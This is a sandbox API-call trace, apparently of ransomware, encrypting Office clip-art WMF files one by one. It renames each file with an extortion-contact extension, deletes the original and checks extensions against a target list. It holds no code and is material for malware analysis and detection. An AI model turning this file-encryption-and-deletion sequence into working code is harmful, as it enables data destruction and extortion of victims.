	[0084.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220
	[0084.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.491] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.491] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.491] GetLastError () returned 0x0
	[0084.491] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x60ca, lpOverlapped=0x0) returned 1
	[0084.493] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0084.494] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.494] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.494] SetEndOfFile (hFile=0x300) returned 1
	[0084.495] CloseHandle (hObject=0x300) returned 1
	[0084.496] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.496] SetEndOfFile (hFile=0x324) returned 1
	[0084.497] CloseHandle (hObject=0x324) returned 1
	[0084.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1
	[0084.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.498] lstrlenW (lpString=".doc") returned 4
	[0084.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.498] lstrlenW (lpString=".docx") returned 5
	[0084.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.498] lstrlenW (lpString=".pdf") returned 4
	[0084.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.498] lstrlenW (lpString=".xls") returned 4
	[0084.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.498] lstrlenW (lpString=".xlsx") returned 5
	[0084.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.498] lstrlenW (lpString=".ppt") returned 4
	[0084.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.498] lstrlenW (lpString=".zip") returned 4
	[0084.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.498] lstrlenW (lpString=".rar") returned 4
	[0084.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.498] lstrlenW (lpString=".bz2") returned 4
	[0084.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.498] lstrlenW (lpString=".7z") returned 3
	[0084.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.498] lstrlenW (lpString=".dbf") returned 4
	[0084.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.498] lstrlenW (lpString=".1cd") returned 4
	[0084.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.498] lstrlenW (lpString=".jpg") returned 4
	[0084.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.499] lstrlenW (lpString=".doc") returned 4
	[0084.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString=".docx") returned 5
	[0084.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.499] lstrlenW (lpString=".pdf") returned 4
	[0084.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString=".xls") returned 4
	[0084.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.499] lstrlenW (lpString=".xlsx") returned 5
	[0084.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.499] lstrlenW (lpString=".ppt") returned 4
	[0084.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.499] lstrlenW (lpString=".zip") returned 4
	[0084.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.499] lstrlenW (lpString=".rar") returned 4
	[0084.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString=".bz2") returned 4
	[0084.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString=".7z") returned 3
	[0084.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.499] lstrlenW (lpString=".dbf") returned 4
	[0084.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.499] lstrlenW (lpString=".1cd") returned 4
	[0084.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0084.499] lstrlenW (lpString=".jpg") returned 4
	[0084.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.500] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.500] lstrlenW (lpString="BD08808_.WMF") returned 12
	[0084.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.500] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=47996) returned 1
	[0084.500] CloseHandle (hObject=0x324) returned 1
	[0084.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220
	[0084.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.500] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.500] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.501] GetLastError () returned 0x0
	[0084.501] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xbb7c, lpOverlapped=0x0) returned 1
	[0084.503] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xbb80, lpOverlapped=0x0) returned 1
	[0084.505] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.505] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.505] SetEndOfFile (hFile=0x300) returned 1
	[0084.509] CloseHandle (hObject=0x300) returned 1
	[0084.511] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.511] SetEndOfFile (hFile=0x324) returned 1
	[0084.512] CloseHandle (hObject=0x324) returned 1
	[0084.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1
	[0084.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.512] lstrlenW (lpString=".doc") returned 4
	[0084.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.512] lstrlenW (lpString=".docx") returned 5
	[0084.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.512] lstrlenW (lpString=".pdf") returned 4
	[0084.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString=".xls") returned 4
	[0084.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.513] lstrlenW (lpString=".xlsx") returned 5
	[0084.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.513] lstrlenW (lpString=".ppt") returned 4
	[0084.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.513] lstrlenW (lpString=".zip") returned 4
	[0084.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.513] lstrlenW (lpString=".rar") returned 4
	[0084.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString=".bz2") returned 4
	[0084.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString=".7z") returned 3
	[0084.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.513] lstrlenW (lpString=".dbf") returned 4
	[0084.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.513] lstrlenW (lpString=".1cd") returned 4
	[0084.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.513] lstrlenW (lpString=".jpg") returned 4
	[0084.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.513] lstrlenW (lpString=".doc") returned 4
	[0084.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString=".docx") returned 5
	[0084.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.513] lstrlenW (lpString=".pdf") returned 4
	[0084.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.513] lstrlenW (lpString=".xls") returned 4
	[0084.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.514] lstrlenW (lpString=".xlsx") returned 5
	[0084.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.514] lstrlenW (lpString=".ppt") returned 4
	[0084.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.514] lstrlenW (lpString=".zip") returned 4
	[0084.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.514] lstrlenW (lpString=".rar") returned 4
	[0084.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.514] lstrlenW (lpString=".bz2") returned 4
	[0084.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.514] lstrlenW (lpString=".7z") returned 3
	[0084.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.514] lstrlenW (lpString=".dbf") returned 4
	[0084.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.514] lstrlenW (lpString=".1cd") returned 4
	[0084.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0084.514] lstrlenW (lpString=".jpg") returned 4
	[0084.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.514] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.514] lstrlenW (lpString="BD08868_.WMF") returned 12
	[0084.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.515] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=40206) returned 1
	[0084.515] CloseHandle (hObject=0x324) returned 1
	[0084.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220
	[0084.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.515] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.515] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.516] GetLastError () returned 0x0
	[0084.516] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x9d0e, lpOverlapped=0x0) returned 1
	[0084.801] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x9d10, lpOverlapped=0x0) returned 1
	[0084.802] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.802] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.803] SetEndOfFile (hFile=0x300) returned 1
	[0084.803] CloseHandle (hObject=0x300) returned 1
	[0084.804] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.804] SetEndOfFile (hFile=0x324) returned 1
	[0084.805] CloseHandle (hObject=0x324) returned 1
	[0084.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1
	[0084.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.806] lstrlenW (lpString=".doc") returned 4
	[0084.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.806] lstrlenW (lpString=".docx") returned 5
	[0084.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.806] lstrlenW (lpString=".pdf") returned 4
	[0084.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.806] lstrlenW (lpString=".xls") returned 4
	[0084.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.806] lstrlenW (lpString=".xlsx") returned 5
	[0084.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.806] lstrlenW (lpString=".ppt") returned 4
	[0084.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.806] lstrlenW (lpString=".zip") returned 4
	[0084.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.806] lstrlenW (lpString=".rar") returned 4
	[0084.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.806] lstrlenW (lpString=".bz2") returned 4
	[0084.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString=".7z") returned 3
	[0084.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.807] lstrlenW (lpString=".dbf") returned 4
	[0084.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.807] lstrlenW (lpString=".1cd") returned 4
	[0084.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.807] lstrlenW (lpString=".jpg") returned 4
	[0084.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.807] lstrlenW (lpString=".doc") returned 4
	[0084.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString=".docx") returned 5
	[0084.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.807] lstrlenW (lpString=".pdf") returned 4
	[0084.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString=".xls") returned 4
	[0084.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.807] lstrlenW (lpString=".xlsx") returned 5
	[0084.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.807] lstrlenW (lpString=".ppt") returned 4
	[0084.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.807] lstrlenW (lpString=".zip") returned 4
	[0084.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.807] lstrlenW (lpString=".rar") returned 4
	[0084.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString=".bz2") returned 4
	[0084.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.807] lstrlenW (lpString=".7z") returned 3
	[0084.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.808] lstrlenW (lpString=".dbf") returned 4
	[0084.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.808] lstrlenW (lpString=".1cd") returned 4
	[0084.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0084.808] lstrlenW (lpString=".jpg") returned 4
	[0084.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.808] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.808] lstrlenW (lpString="BD19828_.WMF") returned 12
	[0084.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
